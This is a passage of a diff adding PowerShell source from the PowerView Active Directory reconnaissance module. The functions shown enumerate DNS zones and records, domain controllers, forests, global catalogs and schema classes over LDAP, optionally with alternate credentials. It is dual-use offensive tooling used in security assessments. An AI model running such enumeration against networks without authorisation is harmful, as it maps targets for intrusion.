[Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-DNSRecord { +<# +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Decodes a binary blob representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. + +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + +.PARAMETER DNSRecord + +A byte array representing the DNS record. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Byte[]] + $DNSRecord + ) + + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + } + + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } + + $DNSRecordObject = New-Object PSObject + + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject + } +} + + +function Get-DomainDNSZone { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSZone + +Retrieves the DNS zones for the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +.OUTPUTS + +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DNSSearcher1.dispose() + } + + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } + } + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" + } + $DNSSearcher2.dispose() + } + } +} + + +function Get-DomainDNSRecord { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSRecord -ZoneName testlab.local + +Retrieve all records for the testlab.local zone. + +.EXAMPLE + +Get-DomainDNSZone | Get-DomainDNSRecord + +Retrieve all records for all zones in the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local + +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ZoneName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } + + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out + } + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out + } + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" + } + } + $DNSSearcher.dispose() + } + } +} + + +function Get-Domain { +<# +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-Domain -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } + } + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } + } + else { + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } + } + } +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments + } + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } + } + } +} + + +function Get-Forest { +<# +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +.PARAMETER Forest + +The forest name to query for, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } + } + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid + } + else { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain + +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } + } +} + + +function Get-ForestGlobalCatalog { +<# +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +.PARAMETER Forest + +Specifies the forest name to query for global catalogs. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestGlobalCatalog + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-ForestSchemaClass { +<# +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. + +.EXAMPLE + +Get-ForestSchemaClass -Forest dev.testlab.local + +Returns all domain schema classes for the external.local forest. + +.EXAMPLE + +Get-ForestSchemaClass -ClassName user -Forest external.local + +Returns the user schema class for the external.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } + } +} + + +function Find-DomainObjectPropertyOutlier { +<# +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer + +.DESCRIPTION + +A 'reference' set of property names is calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. Every user/group/computer object +(depending on determined class) are enumerated, and for each object, if the object has a +'non-standard' property set (meaning a property not held by the reference set), the object's +samAccountName, property name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + 